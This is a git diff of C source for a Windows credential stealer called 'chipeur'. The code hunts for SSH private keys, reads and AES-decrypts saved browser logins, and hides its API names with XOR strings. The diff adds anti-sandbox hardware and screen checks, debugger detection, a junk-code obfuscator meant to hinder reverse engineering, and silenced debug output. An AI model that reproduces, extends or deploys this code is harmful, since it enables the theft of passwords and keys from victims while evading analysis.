@@ -15,11 +15,14 @@ void print_file(const PWSTR filename) {
FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
+#ifdef DEBUG
wprintf(L"[Error] print_file: couldn't open %ls file.\n", filename);
+#endif
return;
}
-
+#ifdef DEBUG
wprintf(L"[Debug] print_file: Opening '%ls' file.\n", filename);
+#endif
fflush(stdout);
// reading 1024 bytes block
do {
@@ -36,4 +39,20 @@ void print_file(const PWSTR filename) {
} while (bytesRead > 0);
CloseHandle(hFile);
+}
+
+BOOL is_readable(const PWSTR filename) {
+ // check if the file is readable.
+
+ HANDLE hFile = CreateFileW(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING,
+ FILE_ATTRIBUTE_NORMAL, NULL);
+
+ if (hFile == INVALID_HANDLE_VALUE) {
+#ifdef DEBUG
+ wprintf(L"DEBUG: is_readable: couldn't read %ls file.\n", filename);
+#endif
+ return FALSE;
+ }
+ CloseHandle(hFile);
+ return TRUE;
}
\ No newline at end of file
diff --git a/src/find_ssh_key.c b/src/find_ssh_key.c
index d520fca..23eb1cf 100644
--- a/src/find_ssh_key.c
+++ b/src/find_ssh_key.c
@@ -8,13 +8,16 @@
#include "extract_file.h"
#include "obfuscation.h"
-static void find_keys_pair(const WCHAR *directory, const WCHAR *pkName,
- size_t lenPkFile, sshkey keysTab[MAX_KEY_FILES],
+
+static BOOL find_keys_pair(const WCHAR *directory, const WCHAR *pkName,
+ size_t lenPkFile, sshKey keysTab[MAX_KEY_FILES],
DWORD32 *index) {
WCHAR *skName = malloc(sizeof(WCHAR) * lenPkFile - 3);
if (skName == NULL) {
+#ifdef DEBUG
printf("[Error] find_key_pair: malloc for skName failed.\n");
- return;
+#endif
+ return FALSE;
}
WCHAR skNamePath[MAX_PATH];
@@ -30,15 +33,17 @@ static void find_keys_pair(const WCHAR *directory, const WCHAR *pkName,
free(skName);
+ // Checking if the public key is readable
+
// Checking if the secret key exists
DWORD attributes = GetFileAttributesW(skNamePath);
if (attributes == INVALID_FILE_ATTRIBUTES ||
(attributes & FILE_ATTRIBUTE_DIRECTORY)) {
- wchar_t error_msg[] =
- L"[ERROR] find_key_pair: couldn't find private key for %ls\n";
- // XOR_STR(error_msg, wcslen(error_msg));
- wprintf(error_msg, pkNamePath);
- return;
+#ifdef DEBUG
+ wprintf(L"[ERROR] find_key_pair: couldn't find private key for %ls\n",
+ pkNamePath);
+#endif
+ return FALSE;
}
DWORD32 lenPkNamePath = wcslen(pkNamePath);
@@ -53,16 +58,18 @@ static void find_keys_pair(const WCHAR *directory, const WCHAR *pkName,
wcsncpy(keysTab[*index].secretKeyPath, skNamePath, lenSkNamePath);
keysTab[*index].secretKeyPath[lenSkNamePath] = L'\0';
+#ifdef DEBUG
wprintf(
L"[DEBUG] find_key_pair: Keys pair found: \nindex = %u\n\t%ls\n\t%ls\n\n",
*index, keysTab[*index].publicKeyPath, keysTab[*index].secretKeyPath);
-
+#endif
// incrementing the index
(*index)++;
+ return TRUE;
}
-static void find_ssh_key_recursively(const PWSTR directory,
- sshkey keysFilenamesTab[MAX_KEY_FILES],
+static BOOL find_ssh_key_recursively(const PWSTR directory,
+ sshKey keysFilenamesTab[MAX_KEY_FILES],
DWORD32 *indexKeysTab) {
WIN32_FIND_DATAW findData;
HANDLE hFind;
@@ -74,7 +81,7 @@ static void find_ssh_key_recursively(const PWSTR directory,
// Searching recursively
hFind = FindFirstFileW(searchPath, &findData);
if (hFind == INVALID_HANDLE_VALUE) {
- return;
+ return FALSE;
}
// Looping on all the file
@@ -113,7 +120,9 @@ static void find_ssh_key_recursively(const PWSTR directory,
if (*indexKeysTab >= MAX_KEY_FILES) {
break;
} else if (wcscmp(fileName + (lenFileName - 4), file_extension) == 0) {
+#ifdef DEBUG
wprintf(L"File : %ls\\%ls\n", directory, fileName);
+#endif
find_keys_pair(directory, fileName, lenFileName, keysFilenamesTab,
indexKeysTab);
}
@@ -122,16 +131,7 @@ static void find_ssh_key_recursively(const PWSTR directory,
FindClose(hFind);
}
-void find_ssh_key(const PWSTR directory) {
- sshkey keysFilenamesTab[MAX_KEY_FILES] = {0};
- DWORD32 indexKeysTab = 0;
- find_ssh_key_recursively(directory, keysFilenamesTab, &indexKeysTab);
- DWORD32 lenKeysTab = indexKeysTab;
-
- // Code part where we process with the dumped keys filenames.
- // here we just print the file
- for (unsigned int i = 0; i < lenKeysTab; i++) {
- print_file(keysFilenamesTab[i].publicKeyPath);
- print_file(keysFilenamesTab[i].secretKeyPath);
- }
+void find_ssh_key(const PWSTR directory, sshKey keysFilenamesTab[MAX_KEY_FILES],
+ DWORD32 *lenKeysTab) {
+ find_ssh_key_recursively(directory, keysFilenamesTab, lenKeysTab);
}
diff --git a/src/hardware_requirements.c b/src/hardware_requirements.c
new file mode 100644
index 0000000..aa0315f
--- /dev/null
+++ b/src/hardware_requirements.c
@@ -0,0 +1,146 @@
+#include "hardware_requirements.h"
+
+#include
+#include
+#include
+
+// If the host has less than 2 cores chipeur does not run
+static int check_cpu() {
+ SYSTEM_INFO systemInfo;
+ GetSystemInfo(&systemInfo);
+ DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
+ if (numberOfProcessors < 2) {
+#ifdef DEBUG
+ fprintf(stderr, "Insufficient CPU cores detected !!\n");
+#endif
+ return EXIT_FAILURE;
+ } else {
+ return EXIT_SUCCESS;
+ }
+}
+
+// If the host has less than 2GB of RAM chipeur does not run
+static int check_ram() {
+ MEMORYSTATUSEX memoryStatus;
+ memoryStatus.dwLength = sizeof(memoryStatus);
+ if (!GlobalMemoryStatusEx(&memoryStatus)) {
+#ifdef DEBUG
+ fprintf(stderr, "Failed to get RAM status !!\n");
+#endif
+ return EXIT_FAILURE;
+ }
+
+ if (memoryStatus.ullTotalPhys / 1024 / 1024 < 2048) {
+#ifdef DEBUG
+ fprintf(stderr, "Insufficient RAM detected !!\n");
+#endif
+ return EXIT_FAILURE;
+ } else {
+ return EXIT_SUCCESS;
+ }
+}
+
+// If the host has less than 100GB of capacity (not availability) of HDD chipeur
+// does not run
+static int check_hdd() {
+ HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0,
+ FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
+ OPEN_EXISTING, 0, NULL);
+ if (hDevice == INVALID_HANDLE_VALUE) {
+#ifdef DEBUG
+ fprintf(stderr, "Failed to open physical drive !!\n");
+#endif
+ return EXIT_FAILURE;
+ }
+
+ DISK_GEOMETRY pDiskGeometry;
+ DWORD bytesReturned;
+ BOOL result = DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0,
+ &pDiskGeometry, sizeof(pDiskGeometry),
+ &bytesReturned, NULL);
+ if (!result) {
+#ifdef DEBUG
+ fprintf(stderr, "Failed to get disk geometry !!\n");
+#endif
+ CloseHandle(hDevice);
+ return EXIT_FAILURE;
+ }
+
+ DWORD diskSizeGB;
+ diskSizeGB =
+ (DWORD)(pDiskGeometry.Cylinders.QuadPart *
+ (ULONG)pDiskGeometry.TracksPerCylinder *
+ (ULONG)pDiskGeometry.SectorsPerTrack *
+ (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024);
+ if (diskSizeGB < 100) {
+#ifdef DEBUG
+ fprintf(stderr, "Insufficient HDD capacity detected !!\n");
+#endif
+ CloseHandle(hDevice);
+ return EXIT_FAILURE;
+ }
+
+ CloseHandle(hDevice);
+ return EXIT_SUCCESS;
+}
+
+BOOL CALLBACK check_monitor_resolution(HMONITOR hMonitor, HDC hdcMonitor,
+ LPRECT lpRect, LPARAM data) {
+ MONITORINFO monitorInfo;
+ monitorInfo.cbSize = sizeof(MONITORINFO);
+ GetMonitorInfoW(hMonitor, &monitorInfo);
+
+ int xResolution = monitorInfo.rcMonitor.right - monitorInfo.rcMonitor.left;
+ int yResolution = monitorInfo.rcMonitor.bottom - monitorInfo.rcMonitor.top;
+
+ if ((xResolution != 1920 && xResolution != 2560 && xResolution != 1440) ||
+ (yResolution != 1080 && yResolution != 1200 && yResolution != 1600 &&
+ yResolution != 900)) {
+#ifdef DEBUG
+ fprintf(stderr, "Non-standard screen resolution detected !!\n");
+#endif
+ *((BOOL*)data) = TRUE; // Set the flag if resolution is not standard
+ }
+ return EXIT_SUCCESS; // Continue enumeration
+}
+
+static int check_resolution() {
+ MONITORENUMPROC pMyCallback = (MONITORENUMPROC)check_monitor_resolution;
+ int xResolution = GetSystemMetrics(SM_CXSCREEN);
+ int yResolution = GetSystemMetrics(SM_CYSCREEN);
+
+ // Exit if the primary monitor resolution is too small
+ if (xResolution < 1000 && yResolution < 1000) {
+ return EXIT_FAILURE;
+ }
+
+ int numberOfMonitors = GetSystemMetrics(SM_CMONITORS);
+ BOOL sandbox = FALSE;
+
+ // Enumerate monitors and check resolutions
+ EnumDisplayMonitors(NULL, NULL, pMyCallback, (LPARAM)(&sandbox));
+
+ // Exit if a non-standard resolution is detected
+ if (sandbox) {
+ return EXIT_FAILURE;
+ }
+
+ return EXIT_SUCCESS;
+}
+
+int check_hardware() {
+ if (check_cpu() == EXIT_FAILURE) {
+ return EXIT_CPU_FAIL;
+ }
+ if (check_ram() == EXIT_FAILURE) {
+ return EXIT_RAM_FAIL;
+ }
+ if (check_hdd() == EXIT_FAILURE) {
+ return EXIT_HDD_FAIL;
+ }
+ if (check_resolution() == EXIT_FAILURE) {
+ return EXIT_RESOLUTION_FAIL;
+ }
+
+ return EXIT_SUCCESS;
+}
diff --git a/src/junk_code_inserter.c b/src/junk_code_inserter.c
new file mode 100644
index 0000000..1ce05cf
--- /dev/null
+++ b/src/junk_code_inserter.c
@@ -0,0 +1,314 @@
+// gcc -o junk_code_inserter src/junk_code_inserter.c -Iinclude -->
+// ./build.sh
+#include "junk_code_inserter.h"
+
+// Generates random junk code to obfuscate the source code.
+void generate_junk_code(FILE *output) {
+ unsigned int rand_value;
+ rand_value = rand() % 5; // Selects a random junk code pattern
+
+ switch (rand_value) {
+ case 0: {
+ // Introduces a volatile integer and performs random bitwise operations
+ int var_id = rand() % 1000;
+ fprintf(output, " volatile int random_val_%d = rand() %% 256;\n",
+ var_id);
+ fprintf(output, " for (int i = 0; i < 3 + (rand() %% 3); i++) {\n");
+ fprintf(
+ output,
+ " random_val_%d ^= (random_val_%d + i) & (rand() %% 100);\n",
+ var_id, var_id);
+ fprintf(output, " }\n");
+ fprintf(output,
+ " if ((random_val_%d & (1 << (rand() %% 8))) != 0) {\n",
+ var_id);
+ fprintf(output, " random_val_%d |= (rand() %% 0xFF);\n", var_id);
+ fprintf(output, " } else {\n");
+ fprintf(output, " random_val_%d &= ~(rand() %% 0x7F);\n", var_id);
+ fprintf(output, " }\n");
+ break;
+ }
+
+ case 1: {
+ // Allocates a small array, fills it with random values, modifies one
+ // element, and frees it
+ int array_id = rand() % 1000;
+ int array_size = 2 + (rand() % 3);
+ fprintf(
+ output,
+ " volatile int* mem_block_%d = (int*)malloc(sizeof(int) * %d);\n",
+ array_id, array_size);
+ fprintf(output, " if (mem_block_%d) {\n", array_id);
+ fprintf(output, " for (int i = 0; i < %d; i++) {\n", array_size);
+ fprintf(
+ output,
+ " mem_block_%d[i] = (i * rand()) ^ (rand() %% 0xFFFF);\n",
+ array_id);
+ fprintf(output, " }\n");
+ fprintf(output,
+ " mem_block_%d[rand() %% %d] ^= (rand() %% 0xFF);\n",
+ array_id, array_size);
+ fprintf(output, " free((void*)mem_block_%d);\n", array_id);
+ fprintf(output, " }\n");
+ break;
+ }
+
+ case 2: {
+ // Creates a small heap allocation, fills it with random values, performs
+ // some calculations, and frees it
+ int ptr_id = rand() % 1000;
+ fprintf(
+ output,
+ " volatile int* heap_var_%d = (int*)malloc(sizeof(int) * 3);\n",
+ ptr_id);
+ fprintf(output, " if (heap_var_%d) {\n", ptr_id);
+ fprintf(output, " for (int i = 0; i < 3; i++) {\n");
+ fprintf(output, " heap_var_%d[i] = (rand() << 16) | rand();\n",
+ ptr_id);
+ fprintf(output, " }\n");
+ fprintf(output,
+ " heap_var_%d[1] ^= heap_var_%d[2] * heap_var_%d[0];\n",
+ ptr_id, ptr_id, ptr_id);
+ fprintf(output, " free((void*)heap_var_%d);\n", ptr_id);
+ fprintf(output, " }\n");
+ break;
+ }
+
+ case 3: {
+ // Introduces a control flow variable with bitwise operations and loops
+ int logic_id = rand() % 1000;
+ fprintf(output,
+ " volatile int control_flow_%d = rand() ^ (rand() << 16);\n",
+ logic_id);
+ fprintf(output,
+ " for (int i = (control_flow_%d & 0x3); i > 0; i--) {\n",
+ logic_id);
+ fprintf(output,
+ " control_flow_%d ^= (i * control_flow_%d) | (rand() %% "
+ "0xFFFF);\n",
+ logic_id, logic_id);
+ fprintf(output, " }\n");
+ fprintf(output, " if ((control_flow_%d & 0x80000000)) {\n", logic_id);
+ fprintf(output, " control_flow_%d += rand();\n", logic_id);
+ fprintf(output, " } else {\n");
+ fprintf(output, " control_flow_%d -= (rand() %% 0x3FF);\n",
+ logic_id);
+ fprintf(output, " }\n");
+ break;
+ }
+
+ case 4: {
+ // Generates a random seed and modifies it within a loop
+ int loop_id = rand() % 1000;
+ fprintf(output, " volatile int seed_%d = (rand() << 16) | rand();\n",
+ loop_id);
+ fprintf(output, " volatile int modifier_%d = rand() %% 100 + 1;\n",
+ loop_id);
+ fprintf(output,
+ " for (int i = (seed_%d & 0x3); i < (4 + (modifier_%d & "
+ "0x1)); i++) {\n",
+ loop_id, loop_id);
+ fprintf(output,
+ " seed_%d = ((seed_%d * 0x5DEECE66DULL + 0xB) ^ (rand() "
+ "<< 16)) + modifier_%d;\n",
+ loop_id, loop_id, loop_id);
+ fprintf(output, " if ((seed_%d & 0xF) == 0) break;\n", loop_id);
+ fprintf(output, " }\n");
+ break;
+ }
+ }
+}
+
+// Generates random control flow obfuscation to make reverse engineering harder.
+void generate_control_flow(FILE *output) {
+ unsigned int rand_value;
+ rand_value = rand() % 5; // Selects a random control flow obfuscation pattern
+
+ switch (rand_value) {
+ case 0: {
+ // Creates a volatile control state variable and modifies it based on
+ // bitwise conditions
+ int var_id = rand() % 1000;
+ fprintf(output,
+ " volatile int control_state_%d = rand() ^ (rand() << 16);\n",
+ var_id);
+ fprintf(output, " if ((control_state_%d & 0x8000) == 0) {\n", var_id);
+ fprintf(output, " control_state_%d ^= (rand() << 8) | 0xFF00FF;\n",
+ var_id);
+ fprintf(output, " } else {\n");
+ fprintf(output, " control_state_%d |= (rand() %% 0xFFFF);\n",
+ var_id);
+ fprintf(output, " }\n");
+ break;
+ }
+
+ case 1: {
+ // Declares a small buffer and modifies its contents based on random
+ // values
+ int buffer_id = rand() % 1000;
+ fprintf(output, " volatile int buffer_control_%d[3];\n", buffer_id);
+ fprintf(output, " for (int i = 0; i < 3; i++) {\n");
+ fprintf(
+ output,
+ " buffer_control_%d[i] = (rand() << 24) | (rand() << 8);\n",
+ buffer_id);
+ fprintf(output, " }\n");
+ fprintf(output,
+ " if ((buffer_control_%d[0] ^ buffer_control_%d[1]) > "
+ "buffer_control_%d[2]) {\n",
+ buffer_id, buffer_id, buffer_id);
+ fprintf(output, " buffer_control_%d[1] ^= buffer_control_%d[2];\n",
+ buffer_id, buffer_id);
+ fprintf(output, " }\n");
+ break;
+ }
+
+ case 2: {
+ // Uses bitwise operations and conditional logic to modify a variable
+ int branch_id = rand() % 1000;
+ fprintf(output, " volatile int decision_%d = rand() %% 0x7FFF;\n",
+ branch_id);
+ fprintf(output,
+ " volatile int bitmask_%d = (rand() << 16) | rand();\n",
+ branch_id);
+
+ fprintf(output, " if (decision_%d > (0x7FFF * 3 / 4)) {\n", branch_id);
+ fprintf(output, " decision_%d ^= (bitmask_%d & 0x3F3F3F3F);\n",
+ branch_id, branch_id);
+ fprintf(output, " } else {\n");
+ fprintf(output, " decision_%d &= ~(0xF0F0F0F);\n", branch_id);
+ fprintf(output, " }\n");
+ break;
+ }
+
+ case 3: {
+ // Implements an opaque predicate for obfuscation
+ int rand_id = rand() % 1000;
+ fprintf(output, " /* Opaque predicate */\n");
+ fprintf(output, " int key_%d = rand() %% 255;\n", rand_id);
+ fprintf(output,
+ " int predicate_%d = ((key_%d * 0x6B8B4567) & 0x42) != 0;\n",
+ rand_id, rand_id);
+ fprintf(output, " if (predicate_%d) {\n", rand_id);
+ fprintf(output, " volatile int opaque_%d = rand();\n", rand_id);
+ fprintf(output, " opaque_%d ^= (opaque_%d << 16);\n", rand_id,
+ rand_id);
+ fprintf(output, " }\n");
+ break;
+ }
+ case 4: {
+ // Uses a jump table with computed goto for control flow obfuscation
+ int label_id = rand() % 1000;
+ fprintf(output,
+ " void* jmp_table_%d[] = {&&label_%d_A, &&label_%d_B};\n",
+ label_id, label_id, label_id);
+ fprintf(output, " goto *jmp_table_%d[rand() %% 2];\n", label_id);
+ fprintf(output, "label_%d_A:\n", label_id);
+ fprintf(output, " volatile int control_var_%d = rand() %% 100;\n",
+ label_id);
+ fprintf(output, " control_var_%d ^= (rand() %% 20);\n", label_id);
+ fprintf(output, " goto end_%d;\n", label_id);
+ fprintf(output, "label_%d_B:\n", label_id);
+ fprintf(output, " volatile int alt_var_%d = rand() %% 50;\n",
+ label_id);
+ fprintf(output, " alt_var_%d += (rand() %% 30);\n", label_id);
+ fprintf(output, "end_%d:\n", label_id);
+ } break;
+ }
+}
+
+// Applies junk code and control flow obfuscation to a given source file.
+void insert_obfuscation(const char *file_path) {
+ char temp_file[] = "obfuscated_temp.c";
+ FILE *input = fopen(file_path, "r");
+ FILE *output = fopen(temp_file, "w");
+
+ // Check if files opened successfully
+ if (!input || !output) {
+ perror("Error opening files");
+ exit(EXIT_FAILURE);
+ }
+
+ char line[MAX_LINE_LENGTH];
+ int inside_function = 0; // Flag to track if we are inside a function
+ int obfuscations_in_function =
+ 0; // Counter to limit obfuscations per function
+ int inside_struct = 0; // Flag to track if we are inside a struct definition
+
+ // Process the input file line by line
+ while (fgets(line, sizeof(line), input)) {
+ // Detect struct definitions to avoid modifying them
+ if (strstr(line, "struct ") || strstr(line, "typedef struct")) {
+ inside_struct = 1;
+ }
+ if (strstr(line, "};") && inside_struct) {
+ inside_struct = 0;
+ }
+ // Detect function start by encountering an opening brace '{' outside of a
+ // struct
+ if (strstr(line, "{") && !inside_struct) {
+ inside_function = 1;
+ obfuscations_in_function =
+ 0; // Reset obfuscation counter for new function
+ }
+ // Detect function end by encountering a closing brace '}' outside of a
+ // struct
+ if (strstr(line, "}") && !inside_struct) {
+ inside_function = 0;
+ }
+
+ // Insert junk code before return statements if inside a function
+ if (inside_function && strstr(line, "return") &&
+ obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) {
+ if (rand() % 100 < JUNK_CODE_PROBABILITY) {
+ generate_junk_code(output);
+ obfuscations_in_function++;
+ }
+ }
+
+ // Write the current line to the output file
+ fputs(line, output);
+
+ // Insert obfuscation after semicolon if inside a function and not a return
+ // statement
+ if (inside_function && strstr(line, ";") && !strstr(line, "return") &&
+ obfuscations_in_function < MAX_OBFUSCATIONS_PER_FUNCTION) {
+ // Randomly insert junk code
+ if (rand() % 100 < JUNK_CODE_PROBABILITY) {
+ generate_junk_code(output);
+ obfuscations_in_function++;
+ }
+ // Randomly insert control flow obfuscation
+ if (rand() % 100 < CONTROL_FLOW_PROBABILITY) {
+ generate_control_flow(output);
+ obfuscations_in_function++;
+ }
+ // Randomly insert opaque predicates for additional obfuscation
+ if (rand() % 100 < OPAQUE_PREDICATE_PROBABILITY) {
+ generate_control_flow(output);
+ obfuscations_in_function++;
+ }
+ }
+ }
+
+ // Close file streams
+ fclose(input);
+ fclose(output);
+
+ // Replace the original file with the obfuscated version
+ if (rename(temp_file, file_path) != 0) {
+ perror("Error replacing source file");
+ exit(EXIT_FAILURE);
+ }
+ printf("Obfuscation successful for: %s\n", file_path);
+}
+
+int main(int argc, char *argv[]) {
+ if (argc != 2) {
+ printf("Usage: %s \n", argv[0]);
+ return EXIT_FAILURE;
+ }
+
+ insert_obfuscation(argv[1]);
+ return EXIT_SUCCESS;
+}
\ No newline at end of file
diff --git a/src/logins.c b/src/logins.c
index 94c0b4a..9f52005 100644
--- a/src/logins.c
+++ b/src/logins.c
@@ -36,7 +36,9 @@ int chrmm_retrieve_logins(const PWSTR fullPath, int *loginCountOut,
sqlite3 *db;
int rc = sqlite3_open16(fullPath, &db);
if (rc) {
+#ifdef DEBUG
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
+#endif
return EXIT_FAILURE;
}
@@ -46,7 +48,9 @@ int chrmm_retrieve_logins(const PWSTR fullPath, int *loginCountOut,
sqlite3_stmt *statement;
rc = sqlite3_prepare_v2(db, query, -1, &statement, 0);
if (rc != SQLITE_OK) {
+#ifdef DEBUG
fprintf(stderr, "Failed to execute statement: %s\n", sqlite3_errmsg(db));
+#endif
sqlite3_close(db);
*loginsOut = NULL;
*loginCountOut = 0;
@@ -58,7 +62,9 @@ int chrmm_retrieve_logins(const PWSTR fullPath, int *loginCountOut,
*loginsOut = (Login *)malloc(capacity * sizeof(Login));
if (!*loginsOut) {
+#ifdef DEBUG
fprintf(stderr, "Failed to allocate memory for LoginInfo\n");
+#endif
sqlite3_finalize(statement);
sqlite3_close_v2(db);
return EXIT_FAILURE;
@@ -70,7 +76,9 @@ int chrmm_retrieve_logins(const PWSTR fullPath, int *loginCountOut,
capacity += 10; // grow the allocated array by this much
*loginsOut = (Login *)realloc(*loginsOut, capacity * sizeof(Login));
if (!*loginsOut) {
+#ifdef DEBUG
fprintf(stderr, "Failed to reallocate memory for LoginInfo\n");
+#endif
sqlite3_finalize(statement);
sqlite3_close_v2(db);
return EXIT_FAILURE;
@@ -93,14 +101,18 @@ int chrmm_retrieve_logins(const PWSTR fullPath, int *loginCountOut,
rc = sqlite3_finalize(statement);
if (rc != SQLITE_OK) {
+#ifdef DEBUG
fprintf(stderr, "Failed to finalize statement: %s\n", sqlite3_errmsg(db));
+#endif
sqlite3_close(db);
return EXIT_FAILURE;
}
rc = sqlite3_close_v2(db);
if (rc != SQLITE_OK) {
+#ifdef DEBUG
fprintf(stderr, "Failed to close database: %s\n", sqlite3_errmsg(db));
+#endif
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
@@ -115,7 +127,9 @@ int chrmm_decrypt_logins(Login logins[], int loginCount, const BYTE *key,
int *credentialCountOut) {
*credentialsOut = (Credential *)malloc(loginCount * sizeof(Credential));
if (*credentialsOut == NULL) {
+#ifdef DEBUG
fprintf(stderr, "Memory allocation failed\n");
+#endif
return EXIT_FAILURE;
}
@@ -131,14 +145,18 @@ int chrmm_decrypt_logins(Login logins[], int loginCount, const BYTE *key,
BYTE *plaintext = (BYTE *)malloc(ciphertextSize);
if (plaintext == NULL) {
+#ifdef DEBUG
fprintf(stderr, "Memory allocation failed\n");
+#endif
free(*credentialsOut);
return EXIT_FAILURE;
}
if (AES_GCM_decrypt(key, nonce, ciphertext, ciphertextSize, NULL, 0, 0,
plaintext)) {
+#ifdef DEBUG
fprintf(stderr, "Decryption failed\n");
+#endif
free(plaintext);
free(*credentialsOut);
return EXIT_FAILURE;
@@ -182,6 +200,7 @@ void free_credentials(Credential credentials[], int count) {
// Pretty print a `Login` struct
void printLogin(Login login) {
+#ifdef DEBUG
printf("URL: %s\n", login.url);
printf("Username: %s\n", login.username);
printf("Password Block (Hex): ");
@@ -189,11 +208,14 @@ void printLogin(Login login) {
printf("%02X", (unsigned char)login.passwordBlock[i]);
}
printf("\n");
+#endif
}
// Pretty print a `Credential` struct
void printCredential(Credential credential) {
+#ifdef DEBUG
printf("URL: %s\n", credential.url);
printf("Username: %s\n", credential.username);
printf("Password: %s\n", credential.password);
+#endif
}
diff --git a/src/obfuscation.c b/src/obfuscation.c
index 3e22a26..1c0cd00 100644
--- a/src/obfuscation.c
+++ b/src/obfuscation.c
@@ -1,5 +1,9 @@
#include "obfuscation.h"
+#include
+#include
+#include
+#include
/**
* XOR the given string pointer by xoring each char with 42
* @param str : the string to obfuscate/deobfuscate by xoring each character
@@ -7,7 +11,8 @@
*/
/*void xor_str(char *str, int size) {
while (size-- > 0) {
- *str++ ^= 42;
+ *str ^= 42;
+ str++;
}
}*/
@@ -21,4 +26,58 @@
while (size-- > 0) {
*wstr++ ^= 42;
}
-}*/
+}
+
+void resolve_apis(hidden_apis *apis) {
+ wchar_t kernel_str[] =
+ L"\x41\x4f\x58\x44\x4f\x46\x19\x18\x04\x4e\x46\x46"; // kernel32.dll
+ XOR_WSTR(kernel_str, wcslen(kernel_str));
+
+ HMODULE hKernel32 = GetModuleHandleW(kernel_str);
+
+ // Resolve strings
+ char checkRemoteDbg_str[] =
+ "\x69\x42\x4f\x49\x41\x78\x4f\x47\x45\x5e\x4f\x6e\x4f\x48\x5f\x4d\x4d\x4f"
+ "\x58\x7a\x58\x4f\x59\x4f\x44\x5e"; // CheckRemoteDebuggerPresent
+ XOR_STR(checkRemoteDbg_str, strlen(checkRemoteDbg_str));
+
+ wchar_t crypt32_str[] =
+ L"\x49\x58\x53\x5a\x5e\x19\x18\x04\x4e\x46\x46"; // crypt32.dll
+ XOR_WSTR(crypt32_str, wcslen(crypt32_str));
+ HMODULE hCrypt32 = LoadLibraryW(crypt32_str);
+
+ // Resolve functions in crypt32.dll
+ char cryptUnprotectData_str[] =
+ "\x69\x58\x53\x5a\x5e\x7f\x44\x5a\x58\x45\x5e\x4f\x49\x5e\x6e\x4b\x5e"
+ "\x4b";
+
+ XOR_STR(cryptUnprotectData_str, strlen(cryptUnprotectData_str));
+
+ char cryptStringToBinaryA_str[] =
+ "\x69\x58\x53\x5a\x5e\x79\x5e\x58\x43\x44\x4d\x7e\x45\x68\x43\x44\x4b\x58"
+ "\x53\x6b";
+
+ XOR_STR(cryptStringToBinaryA_str, strlen(cryptStringToBinaryA_str));
+
+ apis->funcCryptUnprotectData =
+ (PCryptUnprotectData)GetProcAddress(hCrypt32, cryptUnprotectData_str);
+
+ apis->funcCryptStringToBinaryA =
+ (PCryptStringToBinaryA)GetProcAddress(hCrypt32, cryptStringToBinaryA_str);
+
+ // Resolve functions in kernel32.dll
+ apis->funcCheckRemoteDebuggerPresent =
+ (PCheckRemoteDebuggerPresent)GetProcAddress(hKernel32,
+ checkRemoteDbg_str);
+
+ /*char loadLibA_str[] = "\x66\x45\x4b\x4e\x66\x43\x48\x58\x4b\x58\x53\x6b";
+XOR_STR(loadLibA_str, strlen(loadLibA_str));
+char SHGetKnownFolderPath_str[] =
+ "\x79\x62\x6d\x4f\x5e\x61\x44\x45\x5d\x44\x6c\x45\x46\x4e\x4f\x58\x7a\x4b"
+ "\x5e\x42";
+XOR_STR(SHGetKnownFolderPath_str, strlen(SHGetKnownFolderPath_str));*/
+// apis->funcLoadLibraryA =
+//(PLoadLibraryA)GetProcAddress(hKernel32, loadLibA_str);
+// apis->funcSHGetKnownFolderPath = (PSHGetKnownFolderPath)GetProcAddress(
+// hKernel32, SHGetKnownFolderPath_str);
+}
diff --git a/src/path.c b/src/path.c
index 404ac7f..33f7166 100644
--- a/src/path.c
+++ b/src/path.c
@@ -17,7 +17,9 @@ int concat_paths(PCWSTR leftPath, PCWSTR rightPath, PWSTR* fullPathOut) {
size_t totalLength = wcslen(leftPath) + wcslen(rightPath) + 1;
*fullPathOut = (PWSTR)malloc(totalLength * sizeof(wchar_t));
if (!*fullPathOut) {
+#ifdef DEBUG
fprintf(stderr, "Failed to allocate memory for concatenated path\n");
+#endif
return EXIT_FAILURE;
}
@@ -34,7 +36,9 @@ int get_logindata_path(PCWSTR loginDataSubPath, PWSTR* loginDataPathOut) {
HRESULT hr =
SHGetKnownFolderPath(&FOLDERID_LocalAppData, 0, NULL, &appdataPath);
if (FAILED(hr)) {
+#ifdef DEBUG
fprintf(stderr, "Failed to retrieve APPDATA path. Error code: %08lX\n", hr);
+#endif
return EXIT_FAILURE;
}
@@ -57,7 +61,9 @@ int get_localstate_path(PCWSTR localStateSubPath, PWSTR* localStatePathOut) {
HRESULT hr =
SHGetKnownFolderPath(&FOLDERID_LocalAppData, 0, NULL, &appdataPath);
if (FAILED(hr)) {
+#ifdef DEBUG
fprintf(stderr, "Failed to retrieve APPDATA path. Error code: %08lX\n", hr);
+#endif
return EXIT_FAILURE;
}